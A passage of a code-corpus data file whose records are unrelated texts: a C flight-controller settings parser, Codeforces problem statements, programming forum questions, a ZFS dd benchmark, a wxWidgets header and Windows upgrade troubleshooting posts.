-1;\n\t\t}\n\t\tif(json_object_is_type(tmp, json_type_double)==0){\n\t\t\tfprintf(stderr,\"ERROR: crossover frequency should be a double\\n\");\n\t\t\treturn -1;\n\t\t}\n\t\ttmp_flt = json_object_get_double(tmp);\n\t\tif(rc_filter_pid(filter,tmp_kp,tmp_ki,tmp_kd,1.0/tmp_flt, DT)){\n\t\t\t\tfprintf(stderr,\"ERROR: failed to alloc pid filter in __parse_controller()\");\n\t\t\t\treturn -1;\n\t\t\t}\n\t}\n\n\t#ifdef DEBUG\n\trc_filter_print(*filter);\n\t#endif\n\n\trc_vector_free(&num_vec);\n\trc_vector_free(&den_vec);\n\n\treturn 0;\n}\n\n\n\n\nint settings_load_from_file(char* path)\n{\n\tstruct json_object *tmp = NULL; // temp object\n\tchar* tmp_str = NULL; // temp string poitner\n\tdouble tmp_flt;\n\tint tmp_int;\n\n\twas_load_successful = 0;\n\n\t#ifdef DEBUG\n\tfprintf(stderr,\"beginning of load_settings_from_file\\n\");\n\tfprintf(stderr,\"about to check access of fly settings file\\n\");\n\t#endif\n\n\t// read in file contents\n\tif(access(path, F_OK)!=0){\n\t\tfprintf(stderr,\"ERROR: settings file missing\\n\");\n\t\treturn -1;\n\t}\n\telse{\n\t\t#ifdef DEBUG\n\t\tprintf(\"about to read json from file\\n\");\n\t\t#endif\n\t\tjobj = json_object_from_file(path);\n\t\tif(jobj==NULL){\n\t\t\tfprintf(stderr,\"ERROR, failed to read settings from disk\\n\");\n\t\t\treturn -1;\n\t\t}\n\t}\n\n\t#ifdef DEBUG\n\tsettings_print();\n\t#endif\n\n\t// START PARSING\n\n\tPARSE_STRING(name)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"name: %s\\n\",settings.name);\n\t#endif\n\tPARSE_BOOL(warnings_en)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"warnings: %d\\n\",settings.warnings_en);\n\t#endif\n\n\n\t// PHYSICAL PARAMETERS\n\t// layout populates num_rotors, layout, and dof\n\tif(__parse_layout()==-1) return -1; // parse_layout also fill in num_rotors and dof\n\t#ifdef DEBUG\n\tfprintf(stderr,\"layout:%d,%d\\n\",settings.layout,settings.num_rotors);\n\t#endif\n\tif(__parse_thrust_map()==-1) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"thrust_map: %d\\n\",settings.thrust_map);\n\t#endif\n\tPARSE_DOUBLE_MIN_MAX(v_nominal,7.0,18.0)\n\t#ifdef DEBUG\n\tfprintf(stderr,\"v_nominal: %f\\n\",settings.v_nominal);\n\t#endif\n\tPARSE_BOOL(enable_magnetometer)\n\n\t// EMERGENCY LANDING SETTINGS\n    PARSE_BOOL(enable_mocap_dropout_emergency_land)\n    PARSE_DOUBLE_MIN_MAX(mocap_dropout_timeout_ms, 0, 10000)\n    PARSE_DOUBLE_MIN_MAX(dropout_z_throttle, -1, 0)\n\t#ifdef DEBUG\n    fprintf(stderr, \"enable_mocap_dropout_emergency_land: %d\\n\", settings.enable_mocap_dropout_emergency_land);\n    fprintf(stderr, \"mocap_dropout_timeout_ms: %lf\\n\", settings.mocap_dropout_timeout_ms);\n\t#endif   \n\n\t// FLIGHT MODES\n\tPARSE_INT_MIN_MAX(num_dsm_modes,1,3)\n\tif(json_object_object_get_ex(jobj, \"flight_mode_1\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_1 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_1)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_1: %d\\n\",settings.flight_mode_1);\n\t#endif\n\tif(json_object_object_get_ex(jobj, \"flight_mode_2\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_2 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_2)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_2: %d\\n\",settings.flight_mode_2);\n\t#endif\n\tif(json_object_object_get_ex(jobj, \"flight_mode_3\", &tmp)==0){\n\t\tfprintf(stderr,\"ERROR: can't find flight_mode_3 in settings file\\n\");\n\t\treturn -1;\n\t}\n\tif(__parse_flight_mode(tmp, &settings.flight_mode_3)) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"flight_mode_3: %d\\n\",settings.flight_mode_3);\n\t#endif\n\n\t// DSM RADIO CONFIG\n\tPARSE_INT_MIN_MAX(dsm_thr_ch,1,9)\n\tPARSE_POLARITY(dsm_thr_pol)\n\tPARSE_INT_MIN_MAX(dsm_roll_ch,1,9)\n\tPARSE_POLARITY(dsm_roll_pol)\n\tPARSE_INT_MIN_MAX(dsm_pitch_ch,1,9)\n\tPARSE_POLARITY(dsm_pitch_pol)\n\tPARSE_INT_MIN_MAX(dsm_yaw_ch,1,9)\n\tPARSE_POLARITY(dsm_yaw_pol)\n\tPARSE_INT_MIN_MAX(dsm_mode_ch,1,9)\n\tPARSE_POLARITY(dsm_mode_pol)\n\tif(__parse_kill_mode()==-1) return -1;\n\t#ifdef DEBUG\n\tfprintf(stderr,\"kill_mode: %d\\n\",settings.dsm_kill_mode);\n\t#endif\n\tPARSE_INT_MIN_MAX(dsm_kill_ch,1,9)\n\tPARSE_POLARITY(dsm_kill_pol)\n\n\t// PRINTF OPTIONS\n\tPARSE_BOOL(printf_arm)\n\tPARSE_BOOL(printf_altitude)\n\tPARSE_BOOL(printf_rpy)\n\tPARSE_BOOL(printf_sticks)\n\tPARSE_BOOL(printf_setpoint)\n\tPARSE_BOOL(printf_u)\n\tPARSE_BOOL(printf_motors)\n\tPARSE_BOOL(printf_mode)\n\tPARSE_BOOL(printf_xbee)\n\tPARSE_BOOL(printf_rev)\n\tPARSE_BOOL(printf_counter)\n\tPARSE_BOOL(printf_feedforward)\n\n\n\t// LOGGING\n\tPARSE_BOOL(enable_logging)\n\tPARSE_BOOL(log_sensors)\n\tPARSE_BOOL(log_state)\n\tPARSE_BOOL(log_xbee)\n\tPARSE_BOOL(log_setpoint)\n\tPARSE_BOOL(log_control_u)\n\tPARSE_BOOL(log_motor_signals)\n\tPARSE_BOOL(log_flight_mode)\n\n\t// MAVLINK\n\tPARSE_STRING(dest_ip)\n\tPARSE_INT(my_sys_id)\n\tPARSE_INT(mav_port)\n\n\t// XBEE SERIAL PORT\n    PARSE_STRING(xbee_serial_port)\n\n\t// FEEDBACK CONTROLLERS\n\tPARSE_CONTROLLER(roll_controller)\n\tPARSE_CONTROLLER(pitch_controller)\n\tPARSE_CONTROLLER(yaw_controller)\n\tPARSE_CONTROLLER(altitude_controller)\n\tPARSE_CONTROLLER(horiz_vel_ctrl_4dof)\n\tPARSE_CONTROLLER(horiz_vel_ctrl_6dof)\n\tPARSE_CONTROLLER(horiz_pos_ctrl_4dof)\n\tPARSE_CONTROLLER(horiz_pos_ctrl_6dof)\n\tPARSE_DOUBLE_MIN_MAX(max_XY_velocity, .1, 10)\n\tPARSE_DOUBLE_MIN_MAX(max_Z_velocity, .1, 10)\n\n\tjson_object_put(jobj);\t// free memory\n\twas_load_successful = 1;\n\treturn 0;\n}\n\n\n\n\nint settings_print(void)\n{\n\tif(jobj == NULL){\n\t\tfprintf(stderr,\"ERROR: NULL object passed to settings_print\\n\");\n\t\treturn -1;\n\t}\n\tprintf(\"settings:\\n\\n\");\n\tprintf(\"%s\", json_object_to_json_string_ext(jobj, \\\n\t\t\tJSON_C_TO_STRING_SPACED | JSON_C_TO_STRING_PRETTY));\n\tprintf(\"\\n\");\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I am trying to convert a string to ECPoint using Koblitz's method.\nThe method stated that:\n1. Say we have to send a character 'b'\n2. 'b' is first encoded as number 11\n3. Choose an auxiliary base parameter, for example\n4. For each number\nx=mk+1 and try to solve for\n5. If you can't do it, then try\nx=mk+2 and then\nx=mk+3 until you can solve for\n6. Now the point\n(x,y) is encrypted and decrypted as a message.\nI can't understand steps number 4 to 5. Can anyone help explain it to me?\nI've figured out how to solve for\ny. Use shanks-tonelli algorithm to do it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a matrix consisting of digits zero and one, its size is n × m. You are allowed to rearrange its rows. What is the maximum area of the submatrix that only consists of ones and can be obtained in the given problem by the described operations?\n\nLet's assume that the rows of matrix a are numbered from 1 to n from top to bottom and the columns are numbered from 1 to m from left to right. A matrix cell on the intersection of the i-th row and the j-th column can be represented as (i, j). Formally, a submatrix of matrix a is a group of four integers d, u, l, r (1 ≤ d ≤ u ≤ n; 1 ≤ l ≤ r ≤ m). We will assume that the submatrix contains cells (i, j) (d ≤ i ≤ u; l ≤ j ≤ r). The area of the submatrix is the number of cells it contains.", "source": "cpt_codeforces", "language": "en", "token_count": 198, "token_count_with_eod": 199, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Polycarp's phone book contains $$$n$$$ phone numbers, each of them is described by $$$s_i$$$ — the number itself and $$$m_i$$$ — the number of times Polycarp dials it in daily.\n\nPolycarp has just bought a brand new phone with an amazing speed dial feature! More precisely, $$$k$$$ buttons on it can have a number assigned to it (not necessary from the phone book). To enter some number Polycarp can press one of these $$$k$$$ buttons and then finish the number using usual digit buttons (entering a number with only digit buttons is also possible).\n\nSpeed dial button can only be used when no digits are entered. No button can have its number reassigned.\n\nWhat is the minimal total number of digit number presses Polycarp can achieve after he assigns numbers to speed dial buttons and enters each of the numbers from his phone book the given number of times in an optimal way?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "This request is a minor thing.\nBut I have a weekly backup routine that is pretty extensive.\nIt would be very convenient if I could set, or have Helium remember the location I last backed up to.\nIn my case E:\\Backups\\Helium\\\nThanks for your feedback. We plan to implement this for our next release.\nThis feature will be available in our next release.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 83, "token_count_with_eod": 84, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fill paragraphs of uniform indentation within the region.\nThis command divides the region into \"paragraphs\",\ntreating every change in indentation level or prefix as a paragraph boundary,\nthen fills each paragraph using its indentation level as the fill prefix.\nThere is one special case where a change in indentation does not start\na new paragraph. This is for text of this form:\nfoo> This line with extra indentation starts\nfoo> a paragraph that continues on more lines.\nThese lines are filled together.\nWhen calling from a program, pass the range to fill\nas the first two arguments.\nOptional third and fourth arguments JUSTIFY and CITATION-REGEXP:\nJUSTIFY to justify paragraphs (prefix arg).\nWhen filling a mail message, pass a regexp for CITATION-REGEXP\nwhich will match the prefix of a line which is a citation marker\nplus whitespace, but no other kind of prefix. Also, if CITATION-REGEXP is non-nil, don't fill header lines.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm going to use your company a conductivity measurement scheme of measuring the conductivity, the link http://www.analog.com/cn/design-center/reference-designs/hardware-reference-design/circuits-from-the-lab/CN0349.html#rd-overview\nI'm going to ask the following questions\n1: AD5934 using IIC communication plan, but I don't know how much is this device address,\n2: ADG715 use method and the internal register address\n3: can you send a the two chips code routines, use the keil development.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 122, "token_count_with_eod": 123, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tanechka is shopping in the toy shop. There are exactly $$$n$$$ toys in the shop for sale, the cost of the $$$i$$$-th toy is $$$i$$$ burles. She wants to choose two toys in such a way that their total cost is $$$k$$$ burles. How many ways to do that does she have?\n\nEach toy appears in the shop exactly once. Pairs $$$(a, b)$$$ and $$$(b, a)$$$ are considered equal. Pairs $$$(a, b)$$$, where $$$a=b$$$, are not allowed.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Polycarp has decided to do a problemsolving marathon. He wants to solve $$$s$$$ problems in $$$n$$$ days. Let $$$a_i$$$ be the number of problems he solves during the $$$i$$$-th day. He wants to find a distribution of problems into days such that:\n\n- $$$a_i$$$ is an integer value for all $$$i$$$ from $$$1$$$ to $$$n$$$;\n- $$$a_i \\ge 1$$$ for all $$$i$$$ from $$$1$$$ to $$$n$$$;\n- $$$a_{i + 1} \\ge a_i$$$ for all $$$i$$$ from $$$1$$$ to $$$n-1$$$;\n- $$$a_{i + 1} \\le 2 \\cdot a_i$$$ for all $$$i$$$ from $$$1$$$ to $$$n-1$$$;\n- $$$a_n$$$ is maximized.\n\nNote that $$$a_1$$$ can be arbitrarily large.\n\nWhat is the largest value of $$$a_n$$$ Polycarp can obtain?", "source": "cpt_codeforces", "language": "en", "token_count": 214, "token_count_with_eod": 215, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a tree (connected, undirected, acyclic graph) with $$$n$$$ vertices. Two edges are adjacent if they share exactly one endpoint. In one move you can remove an arbitrary edge, if that edge is adjacent to an even number of remaining edges.\n\nRemove all of the edges, or determine that it is impossible. If there are multiple solutions, print any.", "source": "cpt_codeforces", "language": "en", "token_count": 78, "token_count_with_eod": 79, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I'm using my phone as the \"emulator\", e.g. running my app from Eclipse to the phone. I'm trying to access the SD card from within the app (create a folder, save a file), but the error I'm getting is almost as if the SD card isn't inserted (write permissions are granted inside manifest, too). What is wrong here?\nAre you sure you don't have the SD card mounted through the USB connection? If it is mounted Android can't access it. Unmount it by swiping the top, then click on Unmount USB or similar verbiage.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 123, "token_count_with_eod": 124, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I'm getting ready to order the VSL solo strings+ extended in a bit since they're currently at a 30% discount for my son, the college student. I kinda also know how those will fit in with my vsl Chamber II for slightly larger sounds.\nI can only buy so much of this stuff at a time. I like the Lass demos, but need to hear more of it.\nThe here's a small demo I wrote for a pitch recently, I've used the the bonus violin which is not a first chair but a proof of concept violin that comes with at least full LASS. It's much drier that the first chairs and this mic position doesn't exist for the other strings: http://www.juhanalehtiniemi.com/upload/Bonus_violin.mp3 (I might remove this mp3 later, so this link won't work forever)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 181, "token_count_with_eod": 182, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In my previous post on ZFS performance testing I ran through various tests on a particular test system that I had running at the time. That system has come and gone to a better place in the proverbial cloud. This go round, I have a similar server with a different ZFS configuration. Lets dive in to the system and tests.\n- Dell PowerEdge 2950\n- Xeon Quad Core 1.6GHz\n- 8GB RAM\n- PERC5 – Total of 5 logical drives with read ahead and write back enabled.\n- 2x160GB SATAII 7200 RPM – Hardware RAID1\n- 4x2TB SATAII 7200 RPM – Four (4) Hardware RAID0’s (Controller does not support JBOD mode)\n- FreeNAS 0.7.2 Sabanda (revision 5543)-ZFS v13\nTests performed from the CLI using good ole’ GNU dd. The following command was used to first write, and then read back:\ndd if=/dev/zero of=foo bs=2M count=10000 ; dd if=foo of=/dev/null bs=2M\nResults are listed as configuration, write, then read.\n- Reference run: 2x160GB 7200 RPM SATAII RAID1\n- 85.6 MB/s\n- 92.5 MB/s\n- ZFS stripe pool utilizing two (2) SATA disks\n- 221 MB/s\n- 206 MB/s\n- ZFS stripe pool utilizing two (2) SATA disks with dataset compression set to “On”\n- 631 MB/s\n- 1074 MB/s\n- ZFS mirror pool utilizing two (2) SATA disks\n- 116 MB/s\n- 145 MB/s\n- ZFS mirror pool utilizing two (2) SATA disks with dataset compression set to “On”\n- 631 MB/s\n- 1069 MB/s\nNotes, Thoughts & Mentionables:\nThere are a few things worth mentioning about this system:\nOn the hard disk side of things, the hardware RAID1 was made up of Western Digital Blue disks while the other four (4) disks are Western Digital 2TB Green drives. If you have done your home work, you already know that the WD EARS disks use 4K sectors and masks this as 512byte sectors so that OS’ don’t complain. If disks are not properly formatted and/or sector aligned with this in mind, performance takes a tremendous hit. The reason for such inexpensive disks for this build is simple: This server is configured as a backup destination and as such, size is more important than the reliability that a SAS solution would provide.\nCompressions test results were, to say the least, quite interesting. It should be noted that the stripe and mirror pools performed quite similarly. Further testing of these results will be required, but it seems that the maximum score of 1074 MB/s was limited only by the CPU. During the read test all four cores of the quad core CPU were maxed. This becomes even more interesting when you compare the results of this two disk stripe pool with my previous findings on the six disk stripe pool running the same test. The earlier test rig scored much lower and it would appear to be the difference in CPUs that made such a strong difference.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 729, "token_count_with_eod": 730, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "||Offices To Go\n- Four shelves (1 fixed and 3 adjustable shelves)\n- Door front features a recessed angled full pull\n- Bottom pan can be used as a shelf\n- Leveling glides included\nLock is included as standard\n- Optional additional shelf is available\nAll company names, product names logos included here may be registered trademarks or service marks of their respective owners.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * Copyright 2020 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#include \"internal.h\"\n\nstatic void *memcpy(void *dst, const void *src, unsigned long len) {\n  asm volatile(\n    \"rep movsb\\n\\t\"\n  : //out\n    \"+D\"(dst),\n    \"+S\"(src),\n    \"+c\"(len)\n  : //in\n  : //clobber\n    \"cc\", \"memory\"\n  );\n  return dst;\n}\n\nint gatekey_open(char *path, char *authkey) {\n  struct gatekey_args args = {\n    .op = GATEKEY_OP_OPEN,\n    .path = path\n  };\n  memcpy(&args.authkey, authkey, 64);\n  return gatekey_call(&args);\n}\n\nint gatekey_create(char *path, char *authkey_out) {\n  struct gatekey_args args = {\n    .op = GATEKEY_OP_CREATE,\n    .path = path\n  };\n  int res = gatekey_call(&args);\n  memcpy(authkey_out, &args.authkey, 64);\n  return res;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 384, "token_count_with_eod": 385, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "/////////////////////////////////////////////////////////////////////////\n// File:        wx/msw/taskbar.h\n// Purpose:     Defines wxTaskBarIcon class for manipulating icons on the\n//              Windows task bar.\n// Author:      Julian Smart\n// Modified by:\n// Created:     24/3/98\n// RCS-ID:      $Id: taskbar.h,v 1.9.2.1 2002/11/09 00:23:23 VS Exp $\n// Copyright:   (c) Julian Smart\n// Licence:     wxWindows licence\n/////////////////////////////////////////////////////////////////////////\n\n#ifndef _TASKBAR_H_\n#define _TASKBAR_H_\n\n#ifdef __GNUG__\n#pragma interface \"taskbar.h\"\n#endif\n\n#include <wx/event.h>\n#include <wx/list.h>\n#include <wx/icon.h>\n\nclass WXDLLEXPORT wxTaskBarIcon: public wxEvtHandler {\n    DECLARE_DYNAMIC_CLASS(wxTaskBarIcon)\npublic:\n    wxTaskBarIcon(void);\n    virtual ~wxTaskBarIcon(void);\n\n// Accessors\n    inline WXHWND GetHWND() const { return m_hWnd; }\n    inline bool IsOK() const { return (m_hWnd != 0) ; }\n    inline bool IsIconInstalled() const { return m_iconAdded; }\n\n// Operations\n    bool SetIcon(const wxIcon& icon, const wxString& tooltip = wxEmptyString);\n    bool RemoveIcon(void);\n    bool PopupMenu(wxMenu *menu); //, int x, int y);\n\n// Overridables\n    virtual void OnMouseMove(wxEvent&);\n    virtual void OnLButtonDown(wxEvent&);\n    virtual void OnLButtonUp(wxEvent&);\n    virtual void OnRButtonDown(wxEvent&);\n    virtual void OnRButtonUp(wxEvent&);\n    virtual void OnLButtonDClick(wxEvent&);\n    virtual void OnRButtonDClick(wxEvent&);\n\n// Implementation\n    static wxTaskBarIcon* FindObjectForHWND(WXHWND hWnd);\n    static void AddObject(wxTaskBarIcon* obj);\n    static void RemoveObject(wxTaskBarIcon* obj);\n    static bool RegisterWindowClass();\n    static WXHWND CreateTaskBarWindow();\n    long WindowProc( WXHWND hWnd, unsigned int msg, unsigned int wParam, long lParam );\n\n// Data members\nprotected:\n    WXHWND          m_hWnd;\n    bool            m_iconAdded;\n    static wxList   sm_taskBarIcons;\n    static bool     sm_registeredClass;\n    static unsigned int sm_taskbarMsg;\n\n    // non-virtual default event handlers to forward events to the virtuals\n    void _OnMouseMove(wxEvent&);\n    void _OnLButtonDown(wxEvent&);\n    void _OnLButtonUp(wxEvent&);\n    void _OnRButtonDown(wxEvent&);\n    void _OnRButtonUp(wxEvent&);\n    void _OnLButtonDClick(wxEvent&);\n    void _OnRButtonDClick(wxEvent&);\n\n\n    DECLARE_EVENT_TABLE()\n};\n\n\n// ----------------------------------------------------------------------------\n// wxTaskBarIcon events\n// ----------------------------------------------------------------------------\n\nclass WXDLLEXPORT wxTaskBarIconEvent : public wxEvent\n{\npublic:\n    wxTaskBarIconEvent(wxEventType evtType, wxTaskBarIcon *tbIcon)\n        : wxEvent(-1, evtType)\n        {\n            SetEventObject(tbIcon);\n        }\n\n    virtual wxEvent *Clone() const { return new wxTaskBarIconEvent(*this); }\n};\n\nBEGIN_DECLARE_EVENT_TYPES()\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_MOVE, 1550 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_DOWN, 1551 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_UP, 1552 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_DOWN, 1553 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_UP, 1554 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_LEFT_DCLICK, 1555 )\nDECLARE_EVENT_TYPE( wxEVT_TASKBAR_RIGHT_DCLICK, 1556 )\nEND_DECLARE_EVENT_TYPES()\n\n#define EVT_TASKBAR_MOVE(fn)         DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_MOVE, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_DOWN(fn)    DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_DOWN, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_UP(fn)      DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_UP, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_DOWN(fn)   DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_DOWN, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_UP(fn)     DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_UP, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_LEFT_DCLICK(fn)  DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_LEFT_DCLICK, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n#define EVT_TASKBAR_RIGHT_DCLICK(fn) DECLARE_EVENT_TABLE_ENTRY(wxEVT_TASKBAR_RIGHT_DCLICK, -1, -1, (wxObjectEventFunction) (wxEventFunction) &fn, NULL),\n\n\n#endif\n    // _TASKBAR_H_", "source": "cpt_stack_code", "language": "code", "token_count": 1226, "token_count_with_eod": 1227, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Feature #14540: Survey platform\nRequirements for LimeSurvey\n- Storage resources\n- What should be backed up\n- What should be monitored\n- Assignee changed from sajolida to intrigeri\n- QA Check set to Ready for QA\n- Blueprint changed from https://tails.boum.org/blueprint/survey_platform to https://tails.boum.org/blueprint/survey_platform/#limesurvey-requirements\nOops, I should have used this ticket to track the progress on the requirements.\nAnswering here to #14768:\nBe able to send emails to the outside world; though I might not send any as a start.\nWe have an email system but I don't know if it's configured well enough for random email servers out there to accept our email. We'll see.\nYes! As a start I bet that I will be the first target for these emails. So don't spend time on this and we'll see how it works.\nOther than that, looks good to me.\nBTW in the general section (off-topic, yes): why \"non-commercial\"? (This seems too vague and the way I understand it, LimeSurvey would not qualify.)\nI don't think that's interesting to debate now, so I removed this itchy word from this page.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 275, "token_count_with_eod": 276, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Each cell in this model is one of three states: burnable-green (0), burning-red (1) or burned-black (2). If a burnable cell has a burning neighbor, it will become burning in the next generation with a certain probability. Each burning cell burns for exactly 1 generation, and then changes to burned. Each cell can also be part of a firewall (state 3). Firewalls (blue) remain in a fixed state and can prevent fires from spreading.\nThe treecell submodel operates similarly to the cell used in the Conway’s Game of Life, computing the next state at each generation (in the “Next_Burning” codechip). The cell neighborhood is computed at the beginning of the simulation and stored as a property; it is referenced in the “Next_Burning” code to determine if a neighbor is burning.\nThe tabulator plug-in provides state data which is graphed.\nNova Online: Firespread (opens in new tab)\nRunning this model:\n1. Click on the “Capture” button in the tool bar.\n2. Click “Load” next to “Capture.”\n3. Click “Exec” to run the model through multiple iterations. Click “Stop” to stop the graph.\n4. To run the model step by step, click “Capture,” “Load,” “Init,” then “Step.”", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 280, "token_count_with_eod": 281, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an interactive problem. In the output section below you will see the information about flushing the output.\n\nOn Sunday Leha the hacker took Nura from the house where she lives and went with her to one of the most luxurious restaurants in Vičkopolis. Upon arrival, they left the car in a huge parking lot near the restaurant and hurried inside the building.\n\nIn the restaurant a polite waiter immediately brought the menu to Leha and Noora, consisting of n dishes. It is interesting that all dishes in the menu are numbered with integers from 1 to n. After a little thought, the girl ordered exactly k different dishes from available in the menu. To pass the waiting time while the chefs prepare ordered dishes, the girl invited the hacker to play a game that will help them get to know each other better.\n\nThe game itself is very simple: Noora wants Leha to guess any two dishes among all ordered. At the same time, she is ready to answer only one type of questions. Leha can say two numbers x and y (1 ≤ x, y ≤ n). After that Noora chooses some dish a for the number x such that, at first, a is among the dishes Noora ordered (x can be equal to a), and, secondly, the value $$|x-a|$$ is the minimum possible. By the same rules the girl chooses dish b for y. After that Noora says «TAK» to Leha, if $$|x-a| \\leq |y-b|$$, and «NIE» otherwise. However, the restaurant is preparing quickly, so Leha has enough time to ask no more than 60 questions. After that he should name numbers of any two dishes Noora ordered.\n\nHelp Leha to solve this problem!", "source": "cpt_codeforces", "language": "en", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I’m trying to automate some work in a web application and it worked fine two days ago but since yesterday I always get the following error when I try to click on a UI element. I already tried to change the selector and delay the click but nothing worked. If I disable this click I get the same error two clicks later.\nAn ExceptionDetail, likely created by IncludeExceptionDetailInFaults=true, whose value is:\nSystem.AggregateException: One or more errors occurred. ----> System.ArgumentException: Value does not fall within the expected range.\n— End of inner ExceptionDetail stack trace —\nat UiPath.Core.Activities.ScopeActivity.OnFaulted(NativeActivityFaultContext faultContext, Exception propagatedException, ActivityInstance propagatedFrom)\nat System.Activities.Runtime.FaultCallbackWrapper.Invoke(NativeActivityFaultContext faultContext, Exception propagatedException, ActivityInstance propagatedFrom)\nat System.Activities.Runtime.FaultCallbackWrapper.FaultWorkItem.Execute(ActivityExecutor executor, BookmarkManager bookmarkManager)\nDoes anyone know how to fix that?\nMany thanks in advance.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Fix: “Upgrade failure: Error 0xc1900101-0x4000d second boot phase migrate-data”\nBelow are 3 related topics aggregated from across the Spiceworks Community with their most helpful replies.\nI recently tried to upgrade a Windows 10 professional machine using the Windows 10 Upgrade Assistant.\nIt failed to upgrade with the error 0x8007001f but didn't really give any other clue as to what was the problem. I've tried the following:\n- Clearing out all the downloaded upgrade files and trying again.\n- Uninstalling audio drivers.\n- Unplugging any unnecessary peripherals.\n- Disabling third party anti-virus. (Does not apply because none is installed).\n- Using chkdsk to fix any partition problems.\n- Ran sfc /scannow. No issues found\nI would like to avoid having to do a clean install since I have two machines with the same issue.\nAnyone else have any issues with upgrading Windows 10?\nMost helpful reply to this topic\nHi, had the same issues on a few W7 Pro. Checking the error log I noticed that the upgrade stopped while upgrading a user profile.\nI deleted the culprit and the upgade went fine.\nI know it might not be the reason of the failure but when I looked at the log, it was the error just before the information about rollingback.\nError: 0xc1900101-0x4000d second boot phase migrate-data\nFollowing on from the following question: https://community.spiceworks.com/topic/2243872-windows-upgrde-to-1903-setupdiag-reports-fatal-migrat.. the system is now failing due to migrate -data failure.\nIn my previous cases, systems that had failed due to this error had locked files, which were stopping the system from upgrading to the latest version and removig those allowed the upgrade(s) to complete successfuly.\nThe machine in in question is a live production machine and is the only machine left in my entire upgrade project, bringing all machines to the build 1903.\nAn image of the production system has been cloned to seperate machine for troubleshooting.\nIn the production env, it's setup as a label printing device, using a mix of the following devices: ZDeisnger TLP 3842 & GX430t which are not attached, but the print profiles remain. No other system using these devices has failed to upgrade - so I don't think it's something to do with those?\nRebuilding the machine is going to take time from our software engineer and it would be good to find out the true cause of the update failure since setup diag is not giving any 